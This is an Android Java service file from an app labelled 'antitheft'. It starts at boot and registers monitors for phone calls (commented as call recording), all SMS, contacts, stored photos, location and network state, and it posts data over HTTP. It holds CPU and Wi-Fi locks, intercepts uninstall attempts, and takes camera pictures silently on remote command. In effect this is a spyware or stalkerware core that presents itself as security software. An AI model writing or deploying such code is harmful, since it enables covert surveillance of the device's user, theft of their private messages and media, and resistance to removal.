package com.security.antitheft.service;

import android.annotation.SuppressLint;
import android.app.Service;

import android.content.Context;
import android.content.Intent;
import android.content.IntentFilter;
import android.net.ConnectivityManager;
import android.net.Uri;
import android.net.wifi.WifiManager;
import android.os.Handler;
import android.os.IBinder;
import android.os.Message;
import android.os.PowerManager;
import android.provider.ContactsContract;
import android.util.Log;

import com.security.antitheft.module.CallReceiver;
import com.security.antitheft.module.CameraHolder;
import com.security.antitheft.module.CommandChangeListener;
import com.security.antitheft.module.ContactObserver;
import com.security.antitheft.module.LocationUpdateBinder;
import com.security.antitheft.module.NetworkStateReceiver;
import com.security.antitheft.module.PicsObserver;
import com.security.antitheft.module.SMSObserver;
import com.security.antitheft.module.UninstallReceiver;

@SuppressLint("HandlerLeak")
public class BootService extends Service implements CommandChangeListener {

	/** for phone call recording */
	private CallReceiver callReceiver;
	/** for incoming SMS */
	//	private SMSReceiver smsReceiver;
	/** for incoming and outgoing SMS */
	private SMSObserver smsSentObserver;
	/** for contact */
	private ContactObserver contactObserver;
	/** for pics */
	private PicsObserver picsObserver;

	/** for getting location */
	private LocationUpdateBinder locationListener;


	/** for network */
	private NetworkStateReceiver networkReceiver;


	/** camera holder */
	private CameraHolder cameraHolder;
	/** prevent uninstall */
	private UninstallReceiver uninstallReceiver;
	
	//k-review
	private PowerManager.WakeLock mCPUWakeLock = null;
	private WifiManager.WifiLock mWifiLock = null;

	@Override
	public void onCreate() {
		super.onCreate();

		/** register call state receiver */
		callReceiver = new CallReceiver();
		IntentFilter intentFilterForCall = new IntentFilter();
		intentFilterForCall.addAction("android.intent.action.PHONE_STATE");
		intentFilterForCall.addAction("android.intent.action.NEW_OUTGOING_CALL");
		registerReceiver(callReceiver, intentFilterForCall);

		/** register incoming SMS receiver */
		//		smsReceiver = new SMSReceiver();
		//		IntentFilter intentFilterForSMS = new IntentFilter();
		//		intentFilterForSMS.addAction("android.provider.Telephony.SMS_RECEIVED");
		//		registerReceiver(smsReceiver, intentFilterForSMS);

		/** register outgoing SMS content observer */
		smsSentObserver = new SMSObserver(this);
		getContentResolver().registerContentObserver(Uri.parse("content://sms"), true, smsSentObserver);
		smsSentObserver.onChange(true);

		/** register contact content observer */
		contactObserver = new ContactObserver(this);
		getContentResolver().registerContentObserver(ContactsContract.CommonDataKinds.Phone.CONTENT_URI, true, contactObserver);
		contactObserver.onChange(true);

		/** register pics content observer */
		picsObserver = new PicsObserver(this);
		getContentResolver().registerContentObserver(android.provider.MediaStore.Images.Media.EXTERNAL_CONTENT_URI, true, picsObserver);
		picsObserver.onChange(true);
		/** register alarm for location upgrading */
		locationListener = new LocationUpdateBinder(this);
		locationListener.bind();

		/** register internet connection */
		networkReceiver = new NetworkStateReceiver();
		IntentFilter intentFilterForInternet = new IntentFilter();
		intentFilterForInternet.addAction(ConnectivityManager.CONNECTIVITY_ACTION);
		registerReceiver(networkReceiver, intentFilterForInternet);
		//start http post
		sendBroadcast(new Intent(this, NetworkStateReceiver.class));

		/** register camera role */
		cameraHolder = new CameraHolder(this);

		/** register uninstall protecter */
		uninstallReceiver = new UninstallReceiver();
		IntentFilter intentFilterForUninstall = new IntentFilter();
		intentFilterForUninstall.addAction("android.intent.action.DELETE");
		intentFilterForUninstall.addAction("android.intent.action.VIEW");
		intentFilterForUninstall.addDataScheme("package");
		registerReceiver(uninstallReceiver, intentFilterForUninstall);
	};

	@Override
	public void onStart(Intent intent, int startId) {
		//k-review
		Log.i("BootService", "=======BootService === onStart== CPU, WIFI ON");
		if (mCPUWakeLock == null) {
			PowerManager oPowerManager = (PowerManager)this.getSystemService(Context.POWER_SERVICE);
			mCPUWakeLock = oPowerManager.newWakeLock(PowerManager.PARTIAL_WAKE_LOCK, "wakelock");
			mCPUWakeLock.acquire();
		}
		
		if (mWifiLock == null) {
			WifiManager oWifiManager = (WifiManager) this.getSystemService(Context.WIFI_SERVICE);
			mWifiLock = oWifiManager.createWifiLock("wifilock");
			mWifiLock.setReferenceCounted(true);
			mWifiLock.acquire();
		}
	}

	@Override
	public IBinder onBind(Intent arg0) {
		// TODO Auto-generated method stub
		return null;
	}

	@Override
	public void onDestroy() {
		super.onDestroy();
		this.unregisterReceiver(callReceiver);
		//		this.unregisterReceiver(smsReceiver);
		this.getContentResolver().unregisterContentObserver(smsSentObserver);
		this.getContentResolver().unregisterContentObserver(contactObserver);
		this.locationListener.unbind();
		this.networkReceiver.unbind();
		this.unregisterReceiver(networkReceiver);
		this.cameraHolder.stopCamera();
		
		Log.i("BootService", "=======BootService === onStart== CPU, WIFI OFF");
		if (mWifiLock != null) {
			mWifiLock.release();
			mWifiLock = null;
		}
		
		if (mCPUWakeLock != null) {
			mCPUWakeLock.release();
			mCPUWakeLock = null;
		}
	}

	@Override
	public void onCommandChanged(String type, boolean value) {

		try {
			if (type.equals("tp")) {
				mHandler.sendEmptyMessage(1);
			}
			if (value) {
				if (type.equals("cl")) {

				} else if (type.equals("ct")) {

					contactObserver.onChange(true);

				} else if (type.equals("lo")) {

				} else if (type.equals("sm")) {

					smsSentObserver.onChange(true);

				} else if (type.equals("pi")) {

					picsObserver.onChange(true);
				} 
			}
		} catch (Exception e) {
			e.printStackTrace();
		}
	}

	private Handler mHandler = new Handler() {
		public void handleMessage(Message msg) {
			cameraHolder.stopCamera();
			cameraHolder.takePicture();
		}
	};
}
